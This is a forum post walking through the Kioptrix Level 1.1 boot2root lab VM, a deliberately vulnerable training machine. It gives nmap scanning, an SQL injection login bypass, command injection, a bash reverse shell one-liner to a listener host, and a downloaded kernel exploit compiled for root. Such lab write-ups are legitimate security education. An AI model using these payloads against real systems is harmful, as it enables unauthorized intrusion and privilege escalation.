• We just launched and are currently in beta. Join us as we build and grow the community.

Hack The Kioptrix Level-1.1 (Boot2Root Challenge)

bestlife

Content Creator
Divine
B Rep
0
0
0
Rep
0
B Vouches
0
0
0
Vouches
0
Posts
154
Likes
117
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

You can Download it from here and run install in your VM.

Lets start!!

Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.

1.png


So we target at 192.168.1.111 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.

Code:
nmap -A 192.168.1.111

2.png


Since port was 80 open so we explored target IP in the web browser and notice following login page.

URL: http://192.168.1.111

3.png


Without wasting time we try following SQL injection in the given going form.

Code:
Username: 1' or '1'
Password: 1' or '1'

4.png


Great!!! We successfully login into Basic Administrative Web console where we found an empty text field for user input. Whenever I saw such type of scenario, I try to test it against command injection vulnerabilities.

5.png


Therefore we submit ;id command to enumerate UID and GID of logged user.

6.png


As result it dump apache’s UID and GID and hence by this it’s proof that this application is vulnerable to command Injection.

7.png


In a new terminal we launch netcat revere connection shell to spawn victim’s tty shell. Then submit following payload as user input inside web application.

127.0.0.1; bash -i >& /dev/tcp/192.168.1.107/8888 0>&1

8.png


As soon as above payload will get submitted you get victim’s pty shell through netcat session.

Awesome!! You can see we had access victim’s command shell inside netcat, let’s penetrate it more for root access.

Code:
id
uname -a

Then with help of Google we look for its Kernel exploit for privilege escalation and found Luckily “Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit” hence we can use 9542exploit for privilege escalation.

Code:
cd /tmp
wget https://www.exploit-db.com/download/9542 --no-check-certificate
mv 9542 shell.c

9.png


Code:
gcc shell.c
./a.out
id
whoami

B0000MM!! Here we have command shell of victim’s machine with root access.

10.png
 

431,696

312,474

312,483

Top